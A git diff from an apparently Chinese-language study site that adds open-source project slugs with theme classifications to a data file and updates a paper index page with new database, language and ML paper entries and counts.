{"slug":"opentsdb","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"openvidu","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} +{"slug":"openvscode-server","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"openwrt","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"openzeppelin-contracts","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"operator-sdk","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} @@ -1493,6 +575,7 @@ {"slug":"otel-collector","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"基础设施 / 可观测性","source":"category","confidence":"high","rawCategory":"基础设施"} {"slug":"ovenmediaengine","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"oxc","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"projects / 编译器","source":"category","confidence":"high","rawCategory":"编译器"} +{"slug":"paddle-lite","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"paddleocr","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"panda3d","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"pandas","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} @@ -1549,6 +632,7 @@ {"slug":"pulumi","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"pyarrow","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"pyenv","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"pyston","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"语言运行时","source":"candidates.topic","confidence":"high","rawCategory":"编译器"} {"slug":"pyth","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"pytorch-lightning","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"pytorch","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} @@ -1593,7 +677,9 @@ {"slug":"rocksdb","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"rolldown","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"构建工具","source":"category","confidence":"high","rawCategory":"编译器"} {"slug":"rollup","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"构建工具","source":"category","confidence":"high","rawCategory":"编译器"} +{"slug":"roo-code","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"rook","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} +{"slug":"ros2","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"rspack","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"构建工具","source":"category","confidence":"high","rawCategory":"编译器"} {"slug":"rt-thread","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"runc","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} @@ -1607,6 +693,7 @@ {"slug":"scrcpy","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"scroll","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"sd","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"sdk-nrf","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"seaborn","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"sealed-secrets","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"sentry","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"可观测性","source":"category","confidence":"high","rawCategory":"基础设施"} @@ -1631,6 +718,7 @@ {"slug":"signal-server","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"signoz","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"silero-vad","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} +{"slug":"silverbullet","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"simple-peer","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"sinatra","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"skaffold","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} @@ -1697,6 +785,7 @@ {"slug":"testing-library","area":"projects","theme":"CLI","themeId":"cli","subcategory":"工具库","source":"category","confidence":"high","rawCategory":"CLI"} {"slug":"textmate","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"textual","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"tflite-micro","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"the-silver-searcher","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"theia","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"thirdweb-sdk","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} @@ -1709,6 +798,7 @@ {"slug":"tilt","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"timelinejs","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"timescaledb","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} +{"slug":"tinygo","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"语言运行时","source":"candidates.topic","confidence":"high","rawCategory":"编译器"} {"slug":"tldraw","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"tmux","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"torchcodec","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} @@ -1720,6 +810,7 @@ {"slug":"trpc","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"类型与 PL 理论","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"turbopack","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端工具","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"turborepo","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端工程化","source":"category","confidence":"high","rawCategory":"后端 API"} +{"slug":"twgl","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"twirp","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"tyk","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"typeorm","area":"projects","theme":"数据库","themeId":"databases","subcategory":"ORM","source":"category","confidence":"high","rawCategory":"数据库"} @@ -1760,6 +851,7 @@ {"slug":"vllm-multimodal","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} {"slug":"vllm","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"vodozemac","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} +{"slug":"void","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"voila","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"volta","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"vscode","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} @@ -1774,6 +866,7 @@ {"slug":"weaviate","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"web-vitals","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"web3-js","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} +{"slug":"webdriverio","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"webpack","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"构建工具","source":"category","confidence":"high","rawCategory":"编译器"} {"slug":"webrtc-rs","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"wezterm","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} @@ -1800,6 +893,7 @@ {"slug":"zed","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"zellij","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"zephyr","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} +{"slug":"zettlr","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"zincsearch","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"zksync-era","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"zod","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"表单与校验","source":"slugOverrides","confidence":"high","rawCategory":"后端 API"} diff --git a/data/written.txt b/data/written.txt index 896d55182..7a88da224 100644 --- a/data/written.txt +++ b/data/written.txt @@ -20,6 +20,7 @@ algol-60 align-2021 alpa-2022 alphago +amaryllis-probabilistic-iris amdahl-law-1967 amoeba-1990 ampere-architecture-2020 @@ -74,6 +75,7 @@ big-little-2011 bigbench-2022 biggan-2018 bigtable-2006 +bijou64-varint bitcoin bittorrent-2003 blackwell-architecture-2024 @@ -100,6 +102,7 @@ btrfs-2013 bunz-bulletproofs-2018 burgess-2020-turing-rt bvt-1999 +bw-tree byzantine-generals-1982 cadar-klee-2008 caesar-rexford-2005 @@ -116,6 +119,7 @@ cassandra-2010 catmull-1974-zbuffer catmull-clark-1978 causal-abstraction +cci-agent-scaffolding cell-be-2005 ceph-2006 cerf-kahn-1974 @@ -162,9 +166,11 @@ cognitive-load-theory cohen-1985-hemicube colbert-2020 colbert-v2 +columnar-storage-formats-2023 comer-1979-btree compcert compiler-errors +compiler-perf-left-on-table consistency-models-2023 consistent-hashing-1997 constitutional-ai @@ -188,6 +194,7 @@ crdt-json-2017 crdt-shapiro-2011 crdt-sss-2011 croft-harper-1979 +crossover-context-multi-agent cryptoverif-2008 csp-hoare-1978 cstore-2005 @@ -293,6 +300,7 @@ fan-vercauteren-bfv-2012 farsite-2002 fast-paxos-2006 fastertransformer-2021 +fastlanes-compression fat-tree-2008 feautrier-polyhedral fermi-architecture-2010 @@ -301,6 +309,7 @@ fidge-1988 fielding-rest-2000 filip-2021 firecracker-2020 +first-class-refinement-scala flamingo-2022 flan-2021 flash-attention @@ -377,10 +386,12 @@ hazard-pointers-2004 hdfs-2010 heartbleed-2014 heckbert-1986-texture-survey +hekaton helium-type-errors helland-2007 herlihy-moss-tm hewitt-actor-model +hexagent-agentic-scheduling hindley-milner hits-1999 hlc-2014 @@ -452,10 +463,12 @@ koren-mf-2009 krishnamurthy-1999-http11 kubernetes-2016 kustomize +kv-fold kvm-2007 l4-1995 label-smoothing-2016 lafortune-1993-bdpt +lakehouse-2021 lalr-deremer lambda-calculus lambdarank-2006 @@ -470,6 +483,7 @@ lee-keystone-2020 leis-2015-optimizers lerner-seminal levoy-hanrahan-1996-light-field +lfm2-5-8b-a1b-moe lfs-1991 li-2018-redner li-t-closeness-2007 @@ -489,7 +503,9 @@ llava llava-onevision-2024 llava-video-2024 llm-int8-2022 +llm-serving-needs-math llm-wiki-retrieval-reasoning +llmsurgeon-data-mixture llmvs-2025 llvm lmdb-2011 @@ -531,6 +547,7 @@ mccarthy-lisp mcfarling-bp-1993 mcmahan-fedavg-2017 mcmillan-smv-1993 +mcp-is-dead-debate mcp-spec mcs-locks-1991 meagher-1982-octree @@ -539,6 +556,7 @@ megastore-2011 megatron-lm memcached-fb-2013 memcoder-co-evolution +memory-tool-use-agents mencius-2008 mermaid mesa-optimization-2019 @@ -595,6 +613,7 @@ narwhal-tusk-2022 nbeats-2020 nelson-oppen-1979 nerf-2020 +nestedkv netflix-bellkor-2009 netkat-2014 neumann-2015-large-joins @@ -617,6 +636,7 @@ nvm nvme-protocol-2017 oauth-2.1-rfc okapi-bm25-1994 +oltp-looking-glass omagent-2024 omega-2013 omnidirectional-mllm-2025 @@ -628,6 +648,7 @@ opensearch optuna orca-2022 orca-continuous-batching +oscar-int2-kv ot-1989 owens-2007-gpgpu-survey p4-2014 @@ -677,6 +698,7 @@ quantum-supremacy-2019 quic quincy-2009 qvhighlights-2021 +qwen-vla qwen2-5-vl-2025 qwen2-vl-2024 r-bgp-2007 @@ -695,6 +717,7 @@ refinement-types-1991 reflexion reformer-2020 regev-lwe-2005 +rendering-diffs replug-2023 reps-ifds resnet @@ -793,10 +816,12 @@ spanner-2012 sparrow-2013 sparse-autoencoders sparsegpt-2023 +spec-agent-separation-logic specinfer-2023 splade-2021 sprite-1988 sqlite-2022 +sqlite-durable-workflows ssa st-llm-2024 stable-diffusion @@ -808,6 +833,7 @@ starrocks steensgaard-pointer stm-shavit-touitou stonebraker-2010-sqlnosql +storm-multi-agent-state streamingbench-2024 strongtalk stylegan2-2020 @@ -862,6 +888,7 @@ transformer-xl-2019 traveler-2024 tree-of-thoughts-2023 trees-that-grow +triaxialkv trill-2014 triton-2019 triton-llm @@ -869,6 +896,7 @@ trustrank-2004 turchin-supercompilation turing-1936 turing-architecture-2018 +tutti-ssd-kv-cache tvm tvm-2018 twine-2020 @@ -885,8 +913,10 @@ veach-1997-mlt vega-lite vellvm verdi-2015 +vericache verisoft-2008 vertica-2012 +vibeserve vid-llm-survey-2023 video-chatgpt-2023 video-llama-2023 @@ -902,6 +932,7 @@ videomme-2024 videoprism-2024 vidstg-2020 vinoground-2024 +visualthink-vla vit vl2-2009 vllm @@ -931,6 +962,7 @@ why3-2013 wide-deep-2016 williams-1983-mipmap wireguard-2017 +wisckey word2vec world-model-robot-learning-2026 worldsense-2025 @@ -939,6 +971,7 @@ xla-compiler xlnet-2019 xtrace-2007 yao-garbled-circuits-1986 +yocto-alternatives youtube-two-tower-2019 z3-2008 zab-2011 @@ -959,6 +992,7 @@ affine ag-grid age aichat +aider aiortc airflow altair @@ -974,6 +1008,7 @@ antv-f2 antv-g2 antv-g6 antv-x6 +anytype-ts ape-framework apexcharts apollo-server @@ -1026,6 +1061,7 @@ bigbluebutton billboard-js biome bitcoin-core +boa-engine bokeh botbuilder-js botpress @@ -1072,10 +1108,14 @@ claude-code clearml clerk clickhouse +cline +cmsis-nn cockroach cockroachdb cocos2d-x +code-server codemirror +coder collabora-online colmap colossal-ai @@ -1139,6 +1179,7 @@ dovecot dragonfly drawio drizzle +drizzle-orm drone dropwizard druid @@ -1152,12 +1193,14 @@ dvc earthly echarts echo +eclipse-che edgedb effect ejabberd elasticsearch electron electron-builder +electron-forge element-android element-web elysia @@ -1172,6 +1215,7 @@ envoy erigon errbot esbuild +esp-dl essentia etcd ethers-js @@ -1197,12 +1241,15 @@ filecoin fish fish-shell flac +flame flask flax flowchart-js fluent-bit flutter +flutter-rust-bridge flux +foam fooocus foundry framer-motion @@ -1212,11 +1259,14 @@ freertos freeswitch fx fzf +gazebo-classic gdu geany gh +ghostwriter gin github-actions +gitpod gitui glab glances @@ -1231,6 +1281,7 @@ grafana-tempo grape graphology graphql-yoga +grbl greenplum-db gron grpc-go @@ -1282,6 +1333,7 @@ jest jimp jitsi-meet jitsi-videobridge +joplin jotai jq js-joda @@ -1299,6 +1351,7 @@ kepler-gl keras kind kitty +klipper koa kong konva @@ -1341,6 +1394,7 @@ lightningcss lima lingui linkerd2 +linuxcnc listr2 lite-xl litellm-proxy @@ -1359,8 +1413,10 @@ lmms lmms-eval locust lodestar +logseq loki longhorn +lora-mac-node lottie love2d lsd @@ -1378,6 +1434,8 @@ maplibre-gl mariadb-server markdown-it marked +marktext +marlin matplotlib matrix-js-sdk matrix-rust-sdk @@ -1419,18 +1477,23 @@ monaco-editor monero mongo mongodb +mosquitto motion-one move-language +moveit2 msw mumble mysql mysql-server nanobrowser +nanomq nanostores nativescript nats nats-server +navigation2 ncdu +ncnn nebula neo4j neovim @@ -1471,6 +1534,7 @@ oh-my-posh ollama open-sora openai-agents-sdk +opencode opencv openlayers openmeetings @@ -1479,9 +1543,11 @@ opensea-js opensearch opentelemetry opentelemetry-collector +openthread opentofu opentsdb openvidu +openvscode-server openwrt openzeppelin-contracts operator-sdk @@ -1493,6 +1559,7 @@ orleans otel-collector ovenmediaengine oxc +paddle-lite paddleocr panda3d pandas @@ -1549,6 +1616,7 @@ pulsar pulumi pyarrow pyenv +pyston pyth pytorch pytorch-lightning @@ -1580,6 +1648,7 @@ recharts redash redis redpanda +regl remix remix-ide reservoir-sdk @@ -1592,7 +1661,9 @@ rocket-chat rocksdb rolldown rollup +roo-code rook +ros2 rspack rt-thread runc @@ -1606,6 +1677,7 @@ scoop scrcpy scroll sd +sdk-nrf seaborn sealed-secrets sentry @@ -1630,6 +1702,7 @@ signal-ios signal-server signoz silero-vad +silverbullet simple-peer sinatra skaffold @@ -1696,7 +1769,9 @@ terraform testing-library textmate textual +tflite-micro the-silver-searcher +theia thirdweb-sdk threejs thrift @@ -1707,6 +1782,7 @@ tikv tilt timelinejs timescaledb +tinygo tldraw tmux torchcodec @@ -1718,6 +1794,7 @@ trl trpc turbopack turborepo +twgl twirp tyk typeorm @@ -1758,6 +1835,7 @@ vitest vllm vllm-multimodal vodozemac +void voila volta vscode @@ -1772,6 +1850,7 @@ wasmtime weaviate web-vitals web3-js +webdriverio webpack webrtc-rs wezterm @@ -1798,6 +1877,7 @@ zcash zed zellij zephyr +zettlr zincsearch zksync-era zod diff --git a/src/content/docs/papers-atlas.md b/src/content/docs/papers-atlas.md index 1b50c73c3..119aa5271 100644 --- a/src/content/docs/papers-atlas.md +++ b/src/content/docs/papers-atlas.md @@ -1,6 +1,6 @@ --- title: 论文全景索引 -description: 948 篇论文 · 按一级主题与子分类 · 自动从 frontmatter 生成 +description: 981 篇论文 · 按一级主题与子分类 · 自动从 frontmatter 生成 sidebar: order: 5 label: 论文全景索引 @@ -11,27 +11,27 @@ sidebar: ## 总览 -- **总数**:948 篇 -- **已分类**:948 +- **总数**:981 篇 +- **已分类**:981 ### 按一级主题分布 | 主题 | 数量 | |---|---:| -| [编程语言](#编程语言) | 109 | +| [编程语言](#编程语言) | 112 | | [分布式系统](#分布式系统) | 75 | -| [数据库](#数据库) | 67 | -| [操作系统](#操作系统) | 63 | -| [机器学习](#机器学习) | 215 | -| [后端 API](#后端-api) | 9 | +| [数据库](#数据库) | 75 | +| [操作系统](#操作系统) | 64 | +| [机器学习](#机器学习) | 232 | +| [后端 API](#后端-api) | 10 | | [基础设施](#基础设施) | 12 | | [网络协议](#网络协议) | 66 | | [图形学](#图形学) | 122 | -| [形式化方法](#形式化方法) | 51 | +| [形式化方法](#形式化方法) | 53 | | [通信](#通信) | 1 | | [信息检索](#信息检索) | 52 | | [Agent](#agent) | 22 | -| [CLI](#cli) | 1 | +| [CLI](#cli) | 2 | | [NLP](#nlp) | 9 | | [编译器](#编译器) | 3 | | [数据可视化](#数据可视化) | 4 | @@ -42,7 +42,7 @@ sidebar: ## 编程语言 -共 109 篇。 +共 112 篇。 ### 编程语言 @@ -82,18 +82,21 @@ sidebar: | [Agda — 让你写代码的同时把数学也证明了](/study/papers/agda-norell/) | ✅ v3 | | | [Andersen 指针分析 — 让编译器自己算出 p 可能指向谁](/study/papers/andersen-pointer-analysis/) | ✅ v3 | | | [ASTRÉE 分析器 — 让飞机控制代码的静态分析做到零警告](/study/papers/astree/) | ✅ v3 | | +| [Bijou64 — 结构式规范化的变长整数编码](/study/papers/bijou64-varint/) | ✅ v3 | | | [CakeML — 从源码到机器码每一步都被数学证明的 ML 编译器](/study/papers/cakeml/) | ✅ v3 | | | [Calculus of Constructions — 让程序和数学证明共用一种语言](/study/papers/calculus-of-constructions/) | ✅ v3 | | | [Call-by-Need Lambda Calculus — 给惰性求值一套真正的演算](/study/papers/call-by-need-1995/) | ✅ v3 | | | [Chaitin 图染色寄存器分配 — 把硬件资源问题翻译成数学问题](/study/papers/chaitin-graph-coloring/) | ✅ v3 | | | [Coeffects — 让类型系统追踪「需要多少上下文」](/study/papers/coeffect-petricek/) | ✅ v3 | | | [CompCert — 每条优化都被数学证明保持语义的 C 编译器](/study/papers/compcert/) | ✅ v3 | | +| [Performance Left on the Table — 编译器自动向量化还剩多少性能没吃到](/study/papers/compiler-perf-left-on-table/) | ✅ v3 | | | [Cousot 抽象解释 — 给静态分析一套统一数学框架](/study/papers/cousot-abstract-interpretation/) | ✅ v3 | | | [CSP — 进程之间只许喊话不许共用内存](/study/papers/csp-hoare-1978/) | ✅ v3 | | | [DDlog (Differential Datalog) — 输入只改一条,引擎只算受影响的那一小块](/study/papers/differential-datalog/) | ✅ v3 | | | [Doligez-Leroy GC — OCaml 多线程并发垃圾回收](/study/papers/doligez-leroy-concurrent-gc/) | ✅ v3 | | | [Earley Parser — 一个表能解析任何 CFG 的通用解析器](/study/papers/earley-parser/) | ✅ v3 | | | [Feautrier 多面体调度 — 把循环并行化变成解几何方程](/study/papers/feautrier-polyhedral/) | ✅ v3 | | +| [First-Class Refinement Types for Scala — 把「带条件的类型」写进 Scala 3 本身](/study/papers/first-class-refinement-scala/) | ✅ v3 | | | [Frank — 让 effect handler 写得就像普通函数](/study/papers/frank-effects/) | ✅ v3 | | | [F* — 把依赖类型、SMT 自动化、副作用追踪揉到一门语言里](/study/papers/fstar/) | ✅ v3 | | | [G1 Garbage-First — 给暂停时间设个预算的垃圾回收器](/study/papers/g1-collector/) | ✅ v3 | | @@ -269,7 +272,7 @@ sidebar: ## 数据库 -共 67 篇。 +共 75 篇。 ### 存储与查询 @@ -283,6 +286,7 @@ sidebar: | [Bernstein 1981 并发控制综述 — 把分布式数据库的 20+ 算法整成两条主线](/study/papers/bernstein-1981-cc/) | ✅ v3 | | | [Bigtable 2006 — Google 把行级随机读写做到 PB 级的存储系统](/study/papers/bigtable-2006/) | 🗄 存量 | | | [Brewer CAP — 网络一断电,一致性和可用性只能留一个](/study/papers/brewer-cap-2000/) | ✅ v3 | | +| [Bw-Tree — 面向新硬件的无锁 B 树索引](/study/papers/bw-tree/) | ✅ v3 | | | [Calvin 2012 — 先排好顺序再执行,让跨分区事务不再走 2PC](/study/papers/calvin-2012/) | ✅ v3 | | | [Cascades 1995 — 用规则 + Memo 拼装一个可扩展查询优化器](/study/papers/cascades-1995/) | ✅ v3 | | | [Cassandra 2010 — 把 Dynamo 的 P2P 骨架和 Bigtable 的列族数据模型拼成一个东西](/study/papers/cassandra-2010/) | ✅ v3 | | @@ -291,6 +295,7 @@ sidebar: | [CockroachDB 2020 — 没原子钟也能做全球强一致 SQL 数据库](/study/papers/cockroachdb-2020/) | ✅ v3 | | | [Codd 1970 — 关系模型奠基](/study/papers/codd-1970/) | ✅ v3 | | | [Codd 1979 — 给关系模型补上"语义"](/study/papers/codd-1979-extending/) | ✅ v3 | | +| [列式存储格式实证评估 — Parquet 与 ORC 谁更适合 2020 年代?](/study/papers/columnar-storage-formats-2023/) | ✅ v3 | | | [Comer 1979 — B-Tree 综述:为什么这棵树到处都有](/study/papers/comer-1979-btree/) | ✅ v3 | | | [C-Store — 把数据按列存,分析查询直接快十倍](/study/papers/cstore-2005/) | ✅ v3 | | | [Dataflow Model — 流处理的四问框架](/study/papers/dataflow-model-2015/) | ✅ v3 | | @@ -301,14 +306,17 @@ sidebar: | [Eswaran 1976 — 串行化与谓词锁的源头](/study/papers/eswaran-1976/) | ✅ v3 | | | [F1 2013 — 把 Spanner 包成 SQL,扛起 AdWords 全部账单](/study/papers/f1-2013/) | ✅ v3 | | | [FAISS 2017 — 用 GPU 在十亿向量里找最近邻](/study/papers/faiss-2017/) | ✅ v3 | | +| [FastLanes 压缩布局 — 用标量代码每秒解码超过 1000 亿整数](/study/papers/fastlanes-compression/) | ✅ v3 | | | [Apache Flink — 流批一体的单引擎](/study/papers/flink-2015/) | ✅ v3 | | | [FoundationDB 2021 — 把数据库拆成五个角色,再用一个 seed 烧十年 bug](/study/papers/foundationdb-2021/) | ✅ v3 | | | [Gray 1981 — 把"事务"提升为通用抽象](/study/papers/gray-1981-transaction/) | ✅ v3 | | | [Haystack — Facebook 十亿张照片怎么存](/study/papers/haystack-2010/) | ✅ v3 | | | [HDFS — 把 GFS 用 Java 重写一遍并撑到 25 PB](/study/papers/hdfs-2010/) | ✅ v3 | | +| [Hekaton — SQL Server 内存优化 OLTP 引擎](/study/papers/hekaton/) | ✅ v3 | | | [HNSW — 多层近邻图让向量检索从 O(N) 降到近似 O(log N)](/study/papers/hnsw-2018/) | ✅ v3 | | | [INGRES 1976 — Berkeley 平行实现的关系数据库](/study/papers/ingres-1976/) | ✅ v3 | | | [Kafka NetDB 2011 — 把消息中间件砍成"会写文件的水管"](/study/papers/kafka-2011/) | ✅ v3 | | +| [Lakehouse — 用开放格式统一数据仓库与高级分析](/study/papers/lakehouse-2021/) | ✅ v3 | | | [Leis 2015 — 用真实数据打脸所有数据库的查询优化器](/study/papers/leis-2015-optimizers/) | ✅ v3 | | | [LMDB 2011 — 把数据库直接 mmap 进内存的嵌入式 KV 存储](/study/papers/lmdb-2011/) | ✅ v3 | | | [LSM-Tree 1996 — 写优化存储引擎](/study/papers/lsm-tree-1996/) | ✅ v3 | | @@ -316,6 +324,7 @@ sidebar: | [Milvus — 为向量检索而生的数据库](/study/papers/milvus-2021/) | ✅ v3 | 